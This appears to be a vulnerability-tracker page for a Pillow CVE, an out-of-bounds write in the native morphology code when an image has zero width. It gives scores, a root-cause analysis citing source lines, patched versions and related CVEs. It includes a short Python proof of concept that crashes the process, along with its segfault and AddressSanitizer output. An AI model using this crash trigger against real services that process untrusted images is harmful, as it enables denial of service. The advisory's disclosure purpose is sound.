CVE-2026-112397High· 7.5▾ MidnightPoC availablePillow: Out-of-bounds access in _imagingmorph on a zero-width image
▾ Midnight zone — Critical, or high with PoC / in-the-wild
impact 41.3 · likelihood 0.1 · exploitation 12
A public proof-of-concept already exists for this vulnerability — see Exploit availability below.
Stakeholder-Specific Vulnerability Categorization from CISA's ADP record at CVE.org: whether exploitation is observed, whether an attack can be automated, and how much of the system is at stake. The CVSS score shown above comes from the vendor's CSAF advisory record, not NVD.
Exploit-prediction probability, daily snapshots since Oct 20.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
0.4%
8.7 → 7.5
Last analysed / modified upstream
0.4% → 0.5%
A PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size (0, N). Passing that image to ImageMorph.MorphOp.apply() makes the native morphology code index a row buffer at outrow[width - 1], which is outrow[-1] when the width is 0. The process crashes.
The PPM parser reads width and height with no lower-bound check:
src/PIL/PpmImagePlugin.py:119The native apply() writes the row edges with no guard that the width is positive:
src/_imagingmorph.c:81 sets outrow[0] = outrow[width - 1] = 0;match() and get_on_pixels() use the same edge-indexing pattern.
from PIL import Image, ImageMorph
# A width-0 image (also producible from a crafted PPM header). apply() indexes
# outrow[width - 1] == outrow[-1] in native code.
im = Image.new("L", (0, 5))
ImageMorph.MorphOp(op_name="dilation4").apply(im)
Run it:
$ python 03_poc.py
Segmentation fault (core dumped)
Observed on a source build of commit 3e2ab96.
Under AddressSanitizer:
==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply)
#0 apply src/_imagingmorph.c:81
SUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply
With width 0 the outrow[width - 1] write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.
Out-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption.
pillow < 13.0.0Upgrade to a patched release:
pillow 13.0.0Field changes observed since this record was first indexed.
Connected by shared product, vendor, weakness, or advisory.
CVE-2026-96778High· 7.7Pillow: Heap buffer overflow writing JPEG comment after ICC profile fills buffer
CVE-2026-96640High· 8.2Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion
CVE-2026-112894High· 7.5Pillow: Quadratic-time DoS in PDF save_all (PdfParser.next_object_id)
CVE-2026-112896High· 8.2Pillow: TIFF encoder ColorMap plane-size mismatch causes a heap out-of-bounds read
CVE-2026-112897High· 7.5Pillow: TiffDecode returns uninitialized memory as pixels for short JPEG strips
CVE-2026-112390High· 7.5Pillow: Infinite loop in MIC n_frames when the embedded TIFF